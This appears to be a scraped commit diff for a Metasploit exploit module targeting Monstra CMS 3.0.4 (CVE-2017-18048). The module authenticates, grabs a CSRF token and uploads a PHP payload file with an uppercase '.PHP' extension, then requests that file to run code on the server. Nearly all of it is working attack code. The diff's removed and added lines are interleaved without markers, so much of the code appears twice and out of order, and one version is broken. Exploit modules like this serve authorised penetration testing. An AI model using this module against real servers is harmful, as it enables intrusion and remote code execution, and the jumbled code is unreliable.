fix warning, and version
fix warning, and version and indentationGSoC/Meterpreter_Web_Console
Touhid M Shaikh
GitHub
parent
70eb943b5a
commit
4a835b2493
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@ -4,34 +4,33 @@
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::FileDropper
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Monstra CMS - Authenticated Arbitrary File Upload / Remote Code Execution',
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'Description' => %q{
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MonstraCMS 3.0.4 allows users to upload Arbitrary files which leads to a remote command execution on the remote server,
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an attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file.
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This module was tested against MonstraCMS 3.0.4.
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Monstra CMS - Authenticated Arbitrary File Upload / Remote Code Execution',
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'Description' => %q{
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MonstraCMS 3.0.4 allows users to upload Arbitrary files which leads to a remote command execution on the remote server,
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an attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file.
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This module was tested against MonstraCMS 3.0.4.
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},
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'Author' =>
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[
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'Ishaq Mohammed <shaikhishaq201@gmail.com>', # Discoverer & Proof of Concept
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'Touhid M.Shaikh <touhidshaikh22@gmail.com>', # Metasploit Module
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'Ishaq Mohammed <shaikhishaq201@gmail.com>', # Discoverer & Proof of Concept
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'Touhid M.Shaikh <touhidshaikh22@gmail.com>', # Metasploit Module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE','2017-18048'],
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['EDB','43348'],
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['URL','https://blogs.securiteam.com/index.php/archives/3559'],
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['URL','https://securityprince.blogspot.com/2017/12/monstra-cms-304-arbitrary-file-upload.html?m=1'],
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['URL','https://www.youtube.com/watch?v=-ziZ6DELbzw']
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['CVE','2017-18048'],
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['EDB','43348'],
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['URL','https://blogs.securiteam.com/index.php/archives/3559'],
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['URL','https://securityprince.blogspot.com/2017/12/monstra-cms-304-arbitrary-file-upload.html?m=1'],
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['URL','https://www.youtube.com/watch?v=-ziZ6DELbzw']
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],
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'DefaultOptions' =>
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{
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@ -55,11 +54,9 @@ class MetasploitModule < Msf::Exploit::Remote
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OptString.new('USERNAME', [ true, "Username to authenticate with", '']),
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OptString.new('PASSWORD', [ true, "Password to authenticate with", ''])
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])
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end
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def check
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res = nil
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begin
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res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path,'admin', 'index.php') })
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rescue
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@ -72,113 +69,111 @@ class MetasploitModule < Msf::Exploit::Remote
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return CheckCode::Unknown
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end
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if res.body =~ /<\/a> – Version (.*.4)/i
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vprint_status("Monstra CMS: " + $1)
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if res.body =~ /<\/a> - Version (\d+\.\d+\.\d+)/i
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version = Gem::Version.new($1)
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vprint_status("Monstra CMS: #{version}")
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if $1 == '3.0.4'
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if version == '3.0.4'
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return CheckCode::Vulnerable
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else
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return CheckCode::Detected
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return CheckCode::Safe
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end
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end
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end
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def uri
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return target_uri.path
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end
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def uri
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return target_uri.path
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end
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def login
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res = nil
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vprint_status('Trying to Login ......')
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# Send Creds with cookies.
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(uri, 'admin', 'index.php'),
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'vars_post' => {
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'login' => datastore['USERNAME'],
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'password' => datastore['PASSWORD'],
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'login_submit' => 'Log+In',
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},
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})
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cookies = res.get_cookies
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def login
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res = nil
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vprint_status('Trying to Login ......')
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# Send Creds with cookies.
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(uri, 'admin', 'index.php'),
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'vars_post' => {
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'login' => datastore['USERNAME'],
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'password' => datastore['PASSWORD'],
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'login_submit' => 'Log+In',
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},
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})
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cookies = res.get_cookies
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fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?
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fail_with(Failure::Unreachable, "#{peer} - Did not respond to Login request") if res.nil?
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# Try to access index page with authenticated cookie.
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(uri, 'admin' '/index.php'),
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'cookie' => cookies,
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})
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# Try to access index page with authenticated cookie.
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(uri, 'admin' '/index.php'),
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'cookie' => cookies,
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fail_with(Failure::Unreachable, "#{peer} - Did not respond to Login request") if res.nil?
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})
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fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?
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# if we redirect to core_welcome dan we assume we have authenticated cookie.
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if res.code == 302 && res.headers['Location'].include?('index.php?id=dashboard')
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print_good("Authentication successful : [ #{datastore['USERNAME']} : #{datastore['PASSWORD']} ]")
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store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
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return cookies
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else
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fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
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end
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# if we redirect to core_welcome dan we assume we have authenticated cookie.
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if res.code == 302 && res.headers['Location'].include?('index.php?id=dashboard')
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print_good("Authentication successful : [ #{datastore['USERNAME']} : #{datastore['PASSWORD']} ]")
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store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
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return cookies
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else
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fail_with(Failure::Unreachable, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
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end
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end
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def exploit
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def exploit
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#Login Function Execute and Return Cookies
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cookies = login
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#Login Function Execute and Return Cookies
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cookies = login
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#Random payload name.
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pay_name = rand_text_alpha(rand(5..10)) + ".PHP"
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# Payload Gen.
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evilbyte = "<?php #{payload.encode}; ?>"
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# Request for CSRF token for file upload.
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res = send_request_cgi({
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'uri' => normalize_uri(uri, 'admin', '/index.php?id=filesmanager'),
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'method' => 'GET',
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'cookie' => cookies,
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})
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# Grabbing CSRF token from body
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/<input type="hidden" id="csrf" name="csrf" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
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fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
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vprint_good("CSRF-Token for File Upload : #{csrf}")
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# setup POST request.
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post_data = Rex::MIME::Message.new
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post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="csrf"') # CSRF token #form-data; name="file"; filename="agent22.PHP"
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post_data.add_part("#{evilbyte}", content_type = 'application/x-php', transfer_encoding = nil, content_disposition = "form-data; name=\"file\"; filename=\"#{pay_name}\"") # payload
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post_data.add_part("Upload", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="upload_file"') # extra
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data = post_data.to_s
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vprint_status('Trying to upload file with malicious Content....')
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# Lets Send Upload request.
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res = send_request_cgi({
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'uri' => normalize_uri(uri, 'admin', '/index.php?id=filesmanager'),
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'method' => 'POST',
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'cookie' => cookies,
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'Connection' => 'close',
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'data' => data,
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'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
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})
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# Cleanup delete payload after get meterpreter.
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register_files_for_cleanup(pay_name)
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#Random payload name.
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pay_name = rand_text_alpha(rand(5..10)) + ".PHP"
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# Execute our payload simply call to payload.
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print_status("Executing Payload " )
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(uri, 'public', 'uploads', pay_name)
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})
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# Payload Gen.
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evilbyte = "<?php #{payload.encode}; ?>"
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end
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end
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# Request for CSRF token for file upload.
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res = send_request_cgi({
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'uri' => normalize_uri(uri, 'admin', '/index.php'),
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'vars_get' => 'id=filesmanager'
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'method' => 'GET',
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'cookie' => cookies,
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})
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# Grabbing CSRF token from body
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/<input type="hidden" id="csrf" name="csrf" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
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fail_with(Failure::Unreachable, "#{peer} - Could not determine CSRF token") if csrf.nil?
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vprint_good("CSRF-Token for File Upload : #{csrf}")
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# setup POST request.
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post_data = Rex::MIME::Message.new
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post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="csrf"') # CSRF token #form-data; name="file"; filename="agent22.PHP"
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post_data.add_part("#{evilbyte}", content_type = 'application/x-php', transfer_encoding = nil, content_disposition = "form-data; name=\"file\"; filename=\"#{pay_name}\"") # payload
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post_data.add_part("Upload", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="upload_file"') # extra
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data = post_data.to_s
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vprint_status('Trying to upload file with malicious Content....')
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# Lets Send Upload request.
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res = send_request_cgi({
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'uri' => normalize_uri(uri, 'admin', '/index.php?id=filesmanager'),
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'method' => 'POST',
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'cookie' => cookies,
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'Connection' => 'close',
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'data' => data,
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'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
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})
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# Cleanup delete payload after get meterpreter.
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register_files_for_cleanup(pay_name)
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# Execute our payload simply call to payload.
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print_status("Executing Payload " )
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(uri, 'public', 'uploads', pay_name)
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})
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end
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end
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